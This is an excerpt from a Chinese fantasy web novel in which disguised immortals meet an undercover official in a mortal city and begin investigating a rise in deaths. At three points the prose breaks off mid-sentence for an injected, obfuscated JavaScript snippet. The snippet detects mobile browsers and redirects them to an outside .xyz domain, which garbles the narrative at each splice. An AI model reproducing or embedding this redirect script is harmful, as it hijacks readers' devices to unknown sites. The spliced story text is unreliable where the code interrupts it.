还没等她柔和多久,明煦将自己浑身上下拍了个遍,随即从远处冲来:“钱钱钱,那边红糖糍粑马上出锅,现在付钱这锅最后那份就是我的了!” 青晏翻出荷包来:“你的钱呢?” 明煦的眼神飘忽:“哎呀,这,自然是忘带了。” “只吃糍粑会干吧,要不要买点喝的?” 颜故接起青晏的话:“我瞧那边有卖茅根竹蔗水的,不如买些?” 明煦侧过头来:“咦,原来你喜欢喝这个?那给我也带一杯吧,刚好赶得上这边糍粑出锅。”她从青晏的手中接过荷包,向颜故招手道,“来拿钱。” 颜故笑着摆了摆手,转身朝着凉饮摊子去了,唐禾也赶紧跟上。 青晏把荷包收了起来,幽幽道:“你当人人都是你,非说要以真金白银体验人界烟火气,结果却连荷包也不记得带,走之前你的掌令定是提醒过你的。” “我能和别人一样嘛,”明煦盯着咕嘟咕嘟冒着泡的红糖浆,“我有你,你有钱,那不就等于我有钱?” 青晏被她的话逗笑。 片刻后明煦像是突然意识到了什么一样猛地转过头来,警告道:“你可千万别说什么万一我以后不在你身边了看你怎么办这种话,这话在我看过的每一本话本里面可都不是什么好兆头。” “不会的,”青晏拍拍她的肩膀以示安抚,“我们会一直在一起。” “那就好。”明煦叉起一块糍粑,稍沾了沾红糖浆便递给了青晏,“我没蘸太多糖,应该不会甜得过分,你先吃。” 青晏刚咬下一口软糯的糍粑,一只盛放着澄亮饮汤的碧绿竹筒便出现在她的面前。她顺着那握在竹筒上的纤白手指向上看去,映入眼帘的是颜故温和的笑颜:“我回来得可还及时?” 青晏口中的糍粑还没来得及咽下去,遂只是默默地点了点头。片刻后她从颜故手中接过竹筒,啜下一口清凉的竹蔗马蹄水:“谢谢。” 颜故眼带笑意:“仙子之前还与我说不必总是如此客气,怎么如今自己反倒客气起来。” “这并非客气,乃是礼仪,该道的谢还是要道的。” 颜故低下头去笑了笑。 他回想起青晏刚刚极为坦然地接受了明煦喂食的画面,心下一片澄亮。 玄镜仙子果然一如传闻中般那样亲疏分明。 她自己虽可能没有意识到,但她与明煦之间的所有举动都极为自然,仿佛为彼此做些什么都是天经地义,无需多费口舌。 他对情感的判断一向十分敏锐,只是虽说自己能够轻易判断出她们之间的感情已极为浓厚,但他却暂时参不透这感情形成的具体原因。 到底是因为她们彼此性情相投一见如故,还是因为这万千年的朝夕相处慢慢发酵呢? 这厢颜故还在琢磨,那厢明煦已经咽下最后一口糍粑,一手拿着签子一手举着装糍粑的宽叶子,朝着端着两只大竹筒往回走的唐禾就去了。 待唐禾吃下一块后,明煦迅速发问:“你觉得怎么样?” “还成。”唐禾品了品,又点评道,“实际上不太好,他这锅糖有点苦了。” “咦,是吗?”明煦咂吧了几下,恍然大悟道:“真的哎,小唐你这舌头好使。” 唐禾腼腆一笑:“我之前自己也做过的,所以知道做坏了是什么味道。我最一开始那锅就熬过火了,比这个苦多了。” 明煦点头道:“很有道理,尝过苦方知甜呐。” 她看着大街上琳琅满目的小吃:“有点可惜,现在还不到桂花糖炒栗子的时节,我可爱吃那个了。” 青晏道:“还有一个多月就到了,那时给你买十斤。” “什么,十斤!”明煦猛地挽住青晏的胳膊,故意捏着娇滴滴的声音道,“天呀,你人可真好。但十斤栗子会撑死我的,你也舍得吗?” 颜故轻咳一声。 明煦后知后觉地顺着颜故的视线望去,只见周遭的目光在不经意间灼热了许多。她这才反应过来,早在刚入人界时,为确保行事隐秘,青晏已然掩去了他们几人的真实容貌。现在在凡人眼中,他们四人均是如假包换的,男人。 想象了一下两个高大男子在众人面前挽在一起浓情蜜意的画面,明煦艰难地咽了咽口水,缓缓放开青晏的胳膊,一溜烟地跑没影了。 颜故笑问:“可要去追?” “无妨,”青晏忍笑,“让她自由转转吧。你们若想,也可自己去溜达半晌,戌时再来此处汇合即可。” 唐禾闻言盛情邀请:“颜故兄,我们不如一起?” 颜故眨了两下眼,终是允道:“好啊,一起。” 挥别颜故唐禾后,青晏沿着原来的路继续南行,途中欣赏了一阵憨态可掬的泥人摆件,还不忘传音告知明煦记得戌时回原地汇合。 片刻后她掀开一家医馆的门前竹帘,对着里面正忙着抓药的瘦小伙计问道:“叨扰了,请问张老先生今日是否坐诊?” “他在,”伙计大嗓门回道,“前面还有仨人,您受累等上半个时辰。” 青晏依言在门口的长凳上坐下,不多时便见一壮汉从内间龇牙咧嘴地往外走。那医馆伙计一看见他登时咧嘴笑起来:“我说老周,你平时不总说自己身强力壮吗,怎么今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988133|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿针个灸喊得震天响啊?” “滚蛋,”那汉子咬牙,“换你挨上二十几针,你不哭爹喊娘老子跟你姓!” “大可不必了啊,我这不缺儿子更不缺老子。”伙计接过那汉子手上的单子,转头飞速地抓着药,“看单子上的药你这不是什么大毛病,活活血散散寒,养几天就能好不少,但你这几天可千万少抬重物啊,家里要是有要紧的重活就让你儿子干干,大小伙子有劲着呢。” 壮汉瓮声瓮气地应了一句,随即左手提着药包,一边转着肩膀一边出门去了。那伙计端起大茶缸子咕咚咕咚喝了几口,放下的时候正好对上青晏探究的目光,于是笑道:“别急,现在前面就俩人了,再有约莫小半个时辰就够。” 青晏起身:“无妨,不需要等了。” 医馆伙计愣了愣:“公子可是有急事?若信得过在下的话,普通的小病小灾我也能看。” “我确有一事需要找你,”青晏向前一步,“但并非看病,而是解惑。” 那伙计似是想起来什么般皱皱眉。他打量了青晏两眼,突然开口道:“你是哪家医馆的?我可告诉你,我们家张老先生对我有恩,你给我开多少钱我都不会走的。赶紧自己出去,别等我赶你啊!” “温隐灵君还是先看过这个之后,再赶我不迟。”青晏将一折文书递给他。 被唤作温隐灵君的医馆伙计神色蓦地一变,并没去接,只是死死盯住青晏,不作声地将手收进了袖中。青晏见状将文书打开来放在柜台上:“你也可自行查看。” 还未等那伙计低头去看,一道明亮金印已从文书中熠熠升起,伴随一道庄严磬音凛然回荡在屋内,直叫人五脏六腑都跟着通透了个遍。 那医馆伙计不敢置信地抬起头,喃喃道:“天帝玺印。” 片刻后他立即低下头去扫了几眼文书,随即退后两步,对青晏深深俯身一拜,连说话的腔调都庄重了许多:“在下温隐,见过玄镜仙子。刚才多有得罪,实在抱歉。” 再抬头时,他已全然变了一个模样。身材不再瘦小,而是变得挺直颀长;原有着几分狡黠的普通眉眼也变得更加机敏端正。青晏看着面前恢复原本神清气朗面貌的温隐灵君,微笑道:“怎么这么快就信了我?” “天帝玺印做不得假,文书所述之事也与小仙之前给天帝所呈密函一致,所以再没有怀疑的道理。”温隐答道。 他抿抿嘴,又道:“只是小仙不免有些好奇,请问仙子是怎么这么快就辨别出我身份的?” “临行前天帝言明,到达人界后可来此地寻找正在悬壶行医的温隐灵君,所以我习惯性地认为你该是这医馆的大夫。”青晏也恢复了自己原本的样貌,“但观刚才医馆伙计的一言一行,竟与天帝所描述的温隐灵君极为吻合,故而大胆猜上一猜。” 温隐微微一愣,但很快便从被青晏容貌震慑到的恍神中清醒过来,立刻追问道:“拜问仙子,天帝是如何描述小仙的?” 8. 异常 青晏回忆道:“他说你为人古道热肠,长了一副慧心妙舌,又心细如发,忠心耿耿,所以他才放心由你担任人界驻令使官。此番派我下界探查,也是因着读了你递送给他的密函。” 温隐如释重负地叹了口气,声音有些沙哑:“天帝竟然对小仙有如此高的评价,在下日后定当更为勤勉,以报天恩。” 他再度对青晏行礼:“也感谢仙子愿如实以告。” 青晏笑笑:“不必如此拘束,像刚才那位小伙计一样讲话便很好。” 温隐露齿一笑:“仙子如此平易近人,倒叫小仙有些不知所措了。” 他一边麻利地将散乱在柜台上的药收拾起来,一边解释道:“其实仙子一开始说要找张老先生,也并不算是认错了人。” “张老先生,以及这医馆小伙计,其实都是小仙本人。小仙自幼爱好岐黄,登仙后也依然想要治病救人,所以特意开了个医馆,一边给人看病,一边记录人间万事。并且开医馆也方便在一处久居,不需要隔个几十年就改名换姓。” 他手下动作不停:“毕竟行医这行越老越吃香,又要看师承家学,这样等老张也老了不怕,还有小张接他衣钵,等小张也老了,还可以有小小张,小小小张……” 青晏颔首:“是个长久之计。” “但若是真的雇个伙计,日子久了怕他看出些什么端倪,索性捏了个泥人将其变幻模样,替我简单抓抓药,看看小病。今日恰好轮到泥人做大夫我来抓药,没想到正好遇见仙子到访。”温隐将药方子在桌子上磕了几下对齐。 青晏环顾四周:“你我谈话可会影响病人看病?” “不会,小仙已设好结界,泥人会继续在屋中看病,病人也不会看到我们,请仙子放心。” 温隐挥了挥衣袖,满屋药橱随即没入墙内,取而代之的是众多放满文册的木架,和一方沐浴在窗外斜阳下的小木桌。 他们二人在桌前坐下,温隐回身不知从哪儿提出个大壶来,隐约还能听见壶内冰块互相敲击着的脆响:“仙子可要喝点酸梅汤?小仙自己用药材熬的,甜酸均衡,很是爽口。” 青晏莞尔:“好。” 他们二人对坐,安静地喝着各自面前的酸梅汤。温隐本想说些什么,但见青晏正出神地凝视着街上的行人熙攘,便知趣地没再出声。 青晏欣赏完了热闹的人间烟火气,回首开始与温隐聊起正题来:“你密函里所呈的那封妖界家书究竟是谁写的,如今可有眉目了?” 温隐叹息着摇头:“驻扎在妖界的同僚们还在彻查,难度不低。那恶妖不仅行踪隐秘,甚至还有传言说他极为滥情,光是与他有过露水姻缘的妖族就不下百个,就更别提别的族类了。目前还不知道这个传闻是否为真,如果是真的……” 他双眼一闭:“真不知道要查到猴年马月。” “无妨,这家书究竟为何人所写并非关键,就算找到了这个人,也未必能确保其所言非虚。或许只是一时猜测之语,又或是受了他人指使故意散播消息,让魔界成为靶子,好方便其他人在暗中行事。” 青晏对正缓慢点着头的温隐继续道:“但这封家书的来源也还是要查的,两条路一起走,试试看哪个能先走通。” “小仙明白。那仙子来找小仙,可是为了那第二条路?” “没错。若真有人暗中搅动乾坤,必会引发诸多异样征兆。我们只需要顺藤摸瓜,肯定会有所收获。”青晏环视了一圈屋内放满文册的木架,“这些都是你在人界的记录?” “正是,”温隐站起身来,随手从身后的木架上拿下一本文册,对青晏翻开展示道:“小仙自就任以来,笔下所记除重要的机密新闻外,也有一些鸡毛蒜皮的琐事。” 他的手指划过浸润着墨香的纸张:“这些年来,也有同僚不太理解为什么要将琐事也一并记入,但小仙觉得,天下大事必作于细,世间万物之变也都是从细微之处先开始的。寻常琐事或许就能在某日变成大事的关键,所以不可轻忽。” 青晏点头:“是这个道理。现下可已经有什么异常引起你注意了吗?” 温隐抿嘴回忆了一阵,然后道:“异常嘛,自然是总有的。为了给改朝换代寻个由头,这些凡人真是什么异象都能硬掰出来。来一个查一个,全是假的。” “不过也有真的。比如半年前,承安郡东三百里有个村庄的水源一夜之间全部枯涸,我们查了之后发现是因为一个尸妖意图有所突破,特意苦寻了一颗避水珠躲在这个没什么人烟的村庄修炼。结果突破失败,反倒叫避水珠吸干了自身修为及周围一切水源造成的。” “可有什么还没查清楚的?” 温隐闻言面色开始凝重起来。他手指在木架上滑动了片刻,抽出另一本文册递给青晏:“此事也是小仙最近偶然间心血来潮,翻阅了过去百年内的籍录才发现的,苦思几日却始终不得关窍。” 他一边在书架前继续翻找,一边对青晏道:“此事便是,人界近几十年来的离世人数逐渐增多了。其他地方暂且不提,仅承安郡内这个月便有约五百人离世,远高于过往每月两三百之数。要知生老病死各有定数,纵然人界这些年战事多了些,也不至于一直这么增长。” 青晏翻看了几页,不禁皱眉道:“这么多意外死亡?” “是啊,”温隐“唰唰唰”地在青晏面前摞起数本文册,“而且各种类型的意外都有。什么河边及山间失足、饮酒过量、不小心吃了带毒的菌子、被山顶落石砸中、自家房屋倒塌、被毒蛇毒虫攻击等等。不仅如此,猝然离世之人也照往日多,承安郡内光是本月,就已经高达四十余人。” “那些猝死之人生前可曾有什么疾病?人界的仵作可有检出什么?” “有近十人生前便有类似症状,但说到仵作,”温隐面露难色,“若没有刑案,平常百姓大多不会叫仵作来验尸,所以无从得知。小仙也曾问过幽冥界,他们那边收没收到什么被法术所害的亡魂,但经仔细问询过后,却并没有得到什么和这些意外及猝死相关的反馈。也不知是幽冥界那边出了问题,还是小仙过于多虑。” 青晏思忖了片刻:“在你看来现如今最要紧的祸乱,是否便是这桩?可还有些什么别的?” 温隐想了想,才开口道:“别的异常虽也有,但小仙以为,万民安危始为天下安危。若连性命都无法保障,则人心恐难安定,人界灵脉不稳,天下恐将再度危矣。” 青晏缓缓点头:“好,我相信你的判断,会先从这件事开始查起。就算此事最终和魔界无关,也是个需要解决的事情。你我既均在承安郡,便先从此处开始。劳烦你把承安郡过去百年的相关文册整理出来,我带回去细细研究。” 温隐应允。 “你如果有了什么新的发现,或者是妖界那封家书有了什么进展,还请以此符传音告知,”青晏给了他一些神符,“另外,如果有什么十万火急的事情也可直接将其点燃,我即刻便到。” 温隐双手接过:“小仙明白。” 从医馆出来时,天色已渐暗。青晏隐去原貌,一路慢慢悠悠地逛着,不久便转回了与众人约定的汇合之处。她才刚站定,便听见身后茶楼里热情的呼唤:“秦公子,怎么才回来呀?快过来坐!” 青晏回身一看,只见明煦正在茶楼里冲她使劲挥手,颜故与唐禾也正围坐在同一张桌子前。她在椅子上坐下,对着满桌子茶点心沉默了一瞬,无奈道:“怎的点了这么多,你哪里来的钱?” “颜公子的。”明煦朝颜故抬抬下巴,“他说从前修行的时候没少到处降妖除魔,这些年攒了不少富贵人家和当官的给的感谢费。我跟你说,他那荷包一打开,嚯,跟个小金库似的,那叫一个闪啊。” 颜故见青晏目光落在自己身上,浅笑道:“秦公子千万别和颜某客气,一点茶钱而已,别想着补给我了,反倒生分。” “如今都称呼为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988134|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子了?”青晏唇角噙着一点笑意,“还特意给我起了一个发音相近的姓氏。” “毕竟得有个低调一点的称呼嘛,不能暴露。以后在外面你就是秦公子,记住了啊。”明煦指了指自己,“我是明公子,那边的颜公子和唐公子你也都见过了,咱们四个打今儿起就是结伴来承安郡做生意的商人,你觉得怎么样?” 青晏温和道:“不错,是谁的好主意?” “唐公子的。”颜故指指身旁面色一亮的唐禾。 唐禾有些害羞地笑笑:“从前下山买东西的时候见过很多这种结伴的商队,多少人的都有,什么岁数的也都有,而且感觉在哪里都能见到他们。所以我想着如果需要一个方便出入各种场所的身份,没有比这个更合适的了。” “而且咱们秦公子颜公子都很有钱,就更像真的了。”明煦喜气洋洋地补道。 颜故微微一欠身:“在下有钱便是大家都有钱。” “你看看,你看看,这孩子也太懂事了。”明煦习惯性地要去拍青晏的手,结果猛地想起自己几个时辰前落荒而逃的画面,赶紧坐得笔直,“但事先说好,这钱等回去了我是肯定会还的,哪有让你们小孩儿花钱的道理。” 颜故的目光在青晏身上落了落,而后开口道:“我们哪里是小孩子,”他的睫毛长长地垂着,“不过年纪稍轻了几岁。” 唐禾跟着猛点头。 “好好好,”明煦咽下面前盘中最后一块茶点,“那我是小孩儿,我还乐意当小孩儿呢。” 青晏哑然失笑。 “不过话说回来,”明煦端起茶杯,“你下午去做什么啦,怎么才回来?我们几个都在这坐了快有一个时辰了。” 青晏想了想,决定暂时还是先不说:“没做什么,只是闲逛了一阵,看着河边烟霞落日出神罢了。” 明煦叹道:“不愧是你,到哪儿都爱看美景,什么时候带我去看看美人?” 青晏斜她一眼:“想看什么样的点名就是了。” “我说的是活生生的美人,拿你那镜子幻化出来的可不算啊。”明煦盘算着,“哎,上次书云去了趟妖界之后,回来新排进各界郎君相貌榜第二十四位的是谁来着?” “玉面夫子,一只喜欢教书育人的水鸟。” “对对,哪天咱也去听听他的课。” 青晏眉尖一挑:“哦?人家可是教的正经书文,而且据说治教颇严,若是背不出昨日教的文章,定是要被大翅膀扇飞伺候的。” “嗯?是这样吗?”明煦摸摸鼻子,晃晃悠悠地起身干笑道:“哎呀,眼看这天色已晚,几位仁兄,我看咱们还是快些去客舍休息吧,明日还有大生意要做。” 果然又是打岔这一招,青晏心中慨叹。 她刚要依言起身,远处有一茶博士突然一个箭步窜至他们面前,面上挂着极为热烈的笑容:“几位公子,你们可是要住店呐?” 在得到了肯定的答复之后,茶博士眼角的笑纹更深了:“那正好,咱茶楼旁边那家锦绣客舍也是我们东家开的。瞧这天都黑了,您几位一路风尘仆仆肯定也累了,早点休息才是正理,锦绣客舍就在附近,绝对能让您舒舒服服地睡上一觉。等明天精神焕发,就更好谈生意了,您几位说是不是?而且在承安郡,咱清心茶楼和锦绣客舍可都是响当当的招牌,就连许州首富黄延福老爷子每次来都指定住这儿呢!几位公子现在过去,只要报上小人名字,房费还能再减上一成呐!您看怎么样?不嫌弃的话,小人这就送您过去? 青晏几人立在原地,看着茶博士的嘴快速张合,只觉眼前一片嘴影飞掠,唇瓣翻飞,一字一句有如千军万马般迎面奔腾,又如迅疾浪涛般呼啸灌耳。 如此疾电般的口才可真是不多见,青晏心中暗道。她朝茶博士点头示意:“既是如此,烦请替我们带路吧。” 茶博士立刻响亮地应了声好,将手中铜壶一放,步履矫健地带他们出门去了。 9. 打探 果然如他所言一般,锦绣客舍就在茶楼附近,转个弯便到了。快进门时颜故喊住了茶博士,笑眯眯道:“我们兄弟几个初到承安郡,能得遇您这样的热心人实属不易。所以想跟您打听件事,请问这茶楼生意可还好做?” 茶博士眼睛一转:“公子可是也想开上一家?” “是了,不过是要在老家开,”颜故将一块碎银放进茶博士手里,“所以想跟您取取经,来往咱们茶楼的人,大多是些什么人?” 茶博士喜上眉梢:“哎呀呀,公子真是太客气了!就您这眼光这气势,做生意哪能不成呢?” 他麻利地将碎银塞进怀里,又道,“不是我为东家说好话,咱们这茶楼之所以生意兴隆,全靠东家仁义公道,从不赚黑心钱,价格也不贵。所以嘛,那些读书的还有咱们普通老百姓都喜欢来这儿。这人一多吧,像您这样做生意的也就都爱往这来了。有时候当官的大人们也来呢,我们东家还特意为这些大人在二楼准备了雅间,气派得很!” “如此说来,此行当可以一试。以后若有不懂的,还是要来多多请教,届时在下茶楼生意红火,吾必将重谢。”颜故煞有介事地点点头。 他又将一块碎银放入不住道谢着的茶博士手中,“另外,我有一挚友在家乡说书,专讲鬼神异怪故事,每日都在苦寻新奇传说。我想着届时茶楼开业时请他常驻说书,所以您平时如果听到什么奇异传闻,还请记下来告诉我,吾必将重谢。” 茶博士眼睛都快眯成一条线了:“好说好说!待公子有空时去茶楼寻小人就行,到时候小人给公子细细讲述!” 他三步并做两步迈进客舍,与前台掌柜低声交流几句,便盛情邀请青晏一行人进来。众人踏进客舍大堂时,只见四下无尘,窗明几净,柜台后的掌柜身着一袭平整靛青衣袍,笑意温和地与他们打着招呼。 茶博士见一切均已落定,朝青晏几人行过礼便回去了。客舍掌柜翻开店簿,将青晏几人的通关文牒记下,而后微笑道:“请问几位公子是要几间房?本店目前天地字号房都还有空。” “来两间挨着的地字号房。”青晏道。 “瑶台阁和悠然居便是挨着的,公子请拿好。”掌柜将钥匙递给青晏,又喊来小二带他们几人上楼。待小二离去后,青晏将悠然居的钥匙交给颜故,对他与唐禾道:“两人一间方便有所照应,你们若不习惯便再多加一间。” 唐禾乐呵呵道:“从前在山里的时候草屋也住过,这样已经很好了。” “本就是结伴出行的生意人,独自住店反而奇怪。”颜故打开悠然居房门,对屋内雅致陈设一笑,“地字号房舒适温馨却不惹眼,实为佳选。” 青晏颔首,对众人道:“今日初来乍到,大家好好歇过,明日再正式开始也不迟。” 几人应允。 随即唐禾问道:“那我们明日,便分头去打探一下哪里有奇怪的事情需要解决?” “我觉得可以,”明煦耸耸肩,“从细微处发现异常嘛。” 青晏点点头,算是同意。 她已转身往瑶台阁去了,刚走出两步却又脚下一顿,回身对正要关上房门的颜故道:“刚才的事,做得不错。” 颜故含笑拱手一礼。 待进了瑶台阁内,明煦不解道:“刚才什么事,颜故怎么做得好了?” “你对刚才那茶博士,印象如何?”青晏不答反问。 “嘴皮子利索得紧,跟连珠炮似的。”明煦道,“人也机灵。” 青晏在她身边坐下:“除此之外,耳力也很灵敏。你起身时所言声音并不大,他在远处却也能听得一清二楚。” “这倒是。”明煦缓缓点着头,一脸思考的模样,“我能理解颜故是想觉得那茶博士耳朵灵人也灵,想让他帮忙打听消息,看看有没有能用得上的,就是没明白为什么他要绕那么大一圈子。直接给钱让他打听不是也行么,说自己要开茶楼干嘛呢?” 青晏笑笑:“若不问明茶楼往来都是何人,怎能知道是否值得让此人打听?” “这小子,”明煦恍然大悟,“所以说书这个借口也是为了防止几个外乡人来打听鬼神之事引人注意是吧?” “你何时变得这么聪慧?都快不敢认了。”青晏调侃道。 明煦一昂头:“那是,我潜力无限,有我这么个朋友,算你捡到宝了。” “是啊,是捡到宝了。”青晏温柔道。 待明煦睡着后,青晏端坐于榻上,翻开了温隐给她整理好的承安郡过去百年间离世之人的籍录文册。 起先她只是逐页翻看,而后面色逐渐凝重,翻页的速度也越来越快,最后索性一展灵力,直接将心神沉入进面前的文册中。 书内文字浩如烟海,纵然经过仔细整理,但一座大郡百年内的逝者籍录仍旧如同涌动的暗流般,令人难以捉摸。青晏心意微动,手指轻轻一带,诸多文字随着她的指引从文册中飞跃而出,悬于空中。 【定安三年,冬十月,龙骨山突发山火,延烧三日三夜,死者数十人。】 【定安五年,夏七月,连月绵雨,田禾尽坏,是岁大饥,饿死过半,几近十万。】 【佑平四年,秋七月,山洪暴发,滑坡滚石,死伤百余人。】 【佑平二十年,冬腊月,是岁大疫,民死近卅万,棺贵。】 【承德七年,春二月,暴风骤起,拔木倒树,死伤数十人。】 …… 青晏盯着还在不断涌现的文字,眉头紧锁。三五年一小灾,十余年一大灾,甚至造成诸多生灵罹难的天灾竟然在百年间发生了两次,为何承安郡如此多灾多难? 天灾绝非小可,如此大的死伤必然会引起各界注意,就连温隐都在那两次天灾后批加注释,称已与天界核实,灾数无误。可是看着面前水灾、火灾、震灾、旱灾、雪灾、虫灾等等其他大大小小轮番出现的灾祸,青晏心中着实想不通。 这些灾祸出现的次数如此密集,总让人感觉其中有异。若有幕后之人操纵,那刻意降下这些灾祸到底意欲何为?是为了削弱天地之灵,还是仅仅为了屠杀取乐? 她立刻传音给温隐,问其是否发现此等异状。 不多时温隐回了,道承安郡内地势特殊,确实比其他郡县灾祸要多些,但除却天灾外,近百年内的灾祸其实也不过较往常多了一成余。虽也值得关注,但相比起离世人数逐渐增多这件事来便显得没那么紧要,故而没有对青晏提起。 青晏虽觉得温隐说的有些道理,但还是没办法把这件事彻底抛在脑后。她细细琢磨了一阵,决定明日还是先去探一下承安郡的灵气后再做打算。现有信息着实太少,光靠猜是没有用的。眼下还是先再看看其他籍录,说不准能有些新的发现。 青晏又翻看起文册来,翻着翻着,天边已泛出鱼肚白。见明煦隐隐有要醒来的意思,青晏这才收起文册,侧卧躺下。 她心中叹了口气,暗自夸赞自己可真是勤奋了许多,居然会为了看籍录而彻夜不眠且丝毫不觉疲倦。这若是被师父见到了,定要不敢与自己相认,回去也定要和宸景好好说上一番,让他再多给自己放上几百年假。 天刚蒙蒙亮,明煦便下了楼,说隔着窗户都被包子味香醒了,先吃上几个再说。她本以为自己已是起得极早,没想到摊位前已经排上了六七人的队伍,旁边小桌上唐禾甚至已经吃上了——面前还摆了一碗汤。 好在包子一连出锅了几大屉,排队的人很快便散了。明煦拿着几个包子在唐禾面前坐下:“你怎么起这么早,天不是刚亮吗?” “习惯了,”唐禾颊边露出两个浅浅的小酒窝,“而且包子太香了,实在躺不住。” 明煦笑得开怀:“你看这巧不巧,我看命里就该你到我这儿来,我也是被包子香醒的!” 唐禾惊喜道:“真的吗?那还真是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988135|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘分!”他赶紧指指明煦手里还冒着热气的包子,“快趁热吃吧,味道真的不错,我刚才还听排队的人说他们家包子都是定数的,每日卖完就收摊呢。” 明煦赶紧一口咬下去,薄得透出肉汁颜色的面皮应力而破,率先涌入口中的汁水瞬间溢出鲜香,混着结实却又鲜嫩的肉馅,简直无一处不在卖力吆喝这包子的美妙。她埋头连吃了两个,才想起来问一问唐禾:“哎,怎么没见颜故来吃饭,他还没起吗?” “天都没亮他就出去了,说是也想看看好风景。” “怎么一个两个的都这么爱看风景。”明煦嘟哝道。 不过她很快就忘记了,转而兴致勃勃地问起唐禾:“等下你打算去哪儿?” “我打算上集市外面摆摊卖卖菜,顺便跟大爷大娘聊聊天,他们那边的消息说不定是茶博士在茶楼里听不到的。正好我原来也会下山卖卖应季的水果蔬菜,熟练着呢。” 明煦竖起大拇指:“好主意。我打算问问土地公去,他地界的事儿他肯定知道些。” 唐禾“噢噢”了两声,试探着问道:“那,秦公子呢?” “她呀?还在睡觉呢。”明煦想了想,“估计是昨天被思盛那个癞蛤蟆给烦着了,她一心烦就爱睡觉。” “我也烦。”唐禾气鼓鼓地咬了一口包子。 明煦被唐禾的表情逗笑了:“你烦什么呀?” 唐禾张了张嘴,面色有些发红:“我,我设身处地想了想,换做是我,我也烦的。” “那倒也是。”明煦认同地点点头,“算了不说这个了,省得一大早上晦气。等下我先跟你去卖菜行不行?我还没卖过菜呢,感觉有点意思。” “卖菜……有什么意思?”唐禾愣了片刻,忽地露出两颗虎牙来,“不过我还记得我小时候第一次出摊,是跟爹娘一起去赶大集,挑着我们自家种的李子去卖,现在想起来确实挺好玩的,人多,可热闹了。” “那时候你几岁呀?” 唐禾陷入回忆中:“那时候我可能也就四五岁吧,有的大爷大娘看我是个小孩子,买了李子还会好心给我一个,但我吃了几个之后就不爱吃了,都没我在家吃的好吃。年年我爹娘都是摘枝头最高最甜的果子给我吃,其余的才挑出去卖。” 明煦由衷赞叹:“哇,你爹娘对你真好。” 她低头看了看自己的掌心,轻轻从鼻间叹出一口气。 唐禾问道:“怎么了?” “嗯?”明煦抬眼看他,然后笑笑,“没事,就是不知道有爹娘疼是一种什么样的感觉。” 唐禾对自己有些懊恼,怎么好端端地非得提起这个来,却偏偏又笨嘴拙舌地不知该说些什么,想了半天只能小声问出一句:“那,你也是灵生之体?” “嗨,这东西稀罕着,哪会这么多人都是。”明煦摆摆手,“青晏说我是她府中一盏琉璃灯中长燃了五千年的神火,日日伴她读书来着。一万年前的某一天,她看书高兴得过头,一道灵力猛地爆出来,直接就给我催化形了。我估摸着我现在爱看话本可能也是因为这个原因,毕竟之前也已经看了五千年了不是?” “而且没有爹娘也不一定是什么坏处,”明煦反而安慰起唐禾来,“你看,世间有很多你爹娘那样的好爹娘,却也有不少不配为人父母的坏爹娘,我都替他们儿女感到倒霉,怎么就生在了这样的人家。这样看来,没有父母虽不会享福,但也不会受气,无非是什么事都自己扛着,自己处理罢了。” 她面上扬起一个灿烂的笑容:“但我不是这样的呀,我有人管有人问的!我有青晏,青晏对我天下第一好,我在她那做什么都好做什么都厉害,我想要什么她都有都给。啊当然了,她也会督促我读正经书练正经功法,那这不更和盼着儿女上进的爹娘一样了?” “所以说!”在唐禾带着几分震惊的目光中,明煦自豪地宣布,“如果非要论起来,青晏就是我娘!” 10. 细微之处 尚不知自己已为人母的青晏从床上坐了起来。 半晌后她打开房门,一路穿过街上熙攘人群,向承安郡最高处——飞云山而去。 飞云山以陡峭闻名,宛如一柄巨大的利刃贯穿云霄,厚密的云雾常年笼罩着山顶,望之令人生畏。历年间有众多登山者慕名而来想要将其征服于足下,却均在距离峰顶约百米之处败兴而归,只因自此处起的飞云山不仅已经开始云雾缭绕无法视物,岩壁更是平滑如镜毫无着力之处。 青晏站在山脚下抬头望望,随即没入茂密山林,很快便穿过那片凡人无法越过的厚重云雾来到了峰顶。她稳稳盘坐在峰顶巨石之上,闭目凝神,将自己的灵识浸润于云雾之中,使其在承安郡的每个角落中游走。 果然如宸景所说,承安郡的气息十分复杂。除却浓厚人气、及刚离世不久之人的幽冥魂气外,城内还弥漫着微弱的妖气,这些妖气犹如星点般散布在各处,在郊外则变得略有汇聚。然而魔气却是半点也无。 那些能被轻易探查到的妖气,应源于修行较浅、尚不会收敛自身妖气的小妖,这等小妖也大多没什么能力造成大的祸乱,承安郡百年来的诸多祸患、以及离世之人逐年增多这两件事应均与他们无关。 那么已经懂得收敛妖气的大妖呢?青晏凝聚心神,又将灵识往云雾更深处沉了沉。 